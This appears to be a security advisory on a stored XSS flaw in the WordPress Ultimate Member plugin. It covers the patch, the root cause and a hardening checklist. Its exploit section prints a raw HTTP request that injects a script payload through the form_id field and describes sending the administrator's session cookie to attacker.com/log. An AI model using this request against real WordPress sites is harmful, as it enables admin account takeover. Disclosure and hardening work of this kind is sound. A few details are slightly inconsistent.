The Exploit
An unauthenticated attacker registers a new user account via the Ultimate Member registration form, injecting a malicious form_id parameter containing arbitrary JavaScript. The payload is stored in the user's profile metadata. When a WordPress administrator later views that user's record in the wp-admin Users modal, the unescaped payload executes in the admin's browser context.
Step 1: Store the XSS payload
POST /wp-admin/admin-ajax.php?action=um_submit_form HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
um_action=submit_form&form_id="><img src=x
The form_id parameter value is stored verbatim in the user's post metadata via update_user_meta() without sanitization. The attacker receives a 200 response confirming account creation.
Step 2: Trigger the payload
An administrator navigates to /wp-admin/users.php, clicks "View" on the attacker's user record, opening a modal dialog. The Ultimate Member plugin renders the user's registration submission details into the modal using jQuery .html() without escaping, executing the injected script.
The attacker's browser logs the admin's session cookie to attacker.com/log, granting full account takeover of the WordPress installation.
What the Patch Did
Before
return $output;
After
return wp_kses( $output, UM()->get_allowed_html( 'templates' ) );
The patch wraps the return value in wp_kses(), WordPress's HTML sanitization function, with a whitelist of permitted tags via UM()->get_allowed_html( 'templates' ). This escape occurs at the point of output emission in um_user_submitted_registration_formatted() and related functions, removing all script tags and event handlers before the HTML is inserted into the DOM via jQuery.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
The form_id parameter, supplied by an unauthenticated attacker during registration, flows through the AJAX handler into update_user_meta() without input sanitization. It is stored in the WordPress usermeta table as a serialized array under the _um_submitting key. Later, when an administrator opens the user record modal, the plugin retrieves this metadata via get_user_meta() and passes it directly to sprintf() for string formatting, then to jQuery .html() for DOM insertion. No output escaping occurs at any stage, allowing the attacker's inline event handler to execute with administrator privileges.
Why It Works
The load-bearing line is wp_kses( $output, UM()->get_allowed_html( 'templates' ) ). If removed, the vulnerability persists entirely because the attacker's payload still reaches the DOM. The second defensive layer — the whitelist via UM()->get_allowed_html( 'templates' ) — is equally critical; without it, wp_kses() would allow arbitrary HTML and the payload would still execute. The engineer added both because output escaping without a declared whitelist is fragile; the whitelist makes the intent explicit and blocks tags like <img>, <script>, and event handlers, while wp_kses() enforces it uniformly. This is defence-in-depth: the whitelist is the policy, wp_kses() is the enforcement mechanism.
Hardening Checklist
-
Use
wp_kses_post()orwp_kses()on all user-controlled data before output to HTML contexts, especially when using jQuery.html()or rendering in admin modals. Pair it with an explicit whitelist viawp_allowed_post_html()or custom lists. -
Sanitize user input at the point of storage via
sanitize_text_field()orsanitize_email()during registration, not only at output. This provides defence-in-depth and makes the intent visible to code auditors. -
Use
absint()orintval()on all numeric identifiers likeform_idbefore passing toget_the_title()or SQL queries, preventing both XSS and SQL injection through type coercion. -
Audit all jQuery
.html()calls in admin pages for unescaped user data; replace with.text()for plain text or.append()with pre-escaped fragments. Use static analysis or grep to search the codebase systematically. -
Implement a Content Security Policy (CSP) header on wp-admin pages with
script-src 'self'to block inline event handlers and reduce XSS impact even if output escaping is missed in a future release.
References
- CVE-2026-96270 on NVD
- Ultimate Member plugin changelog and security advisories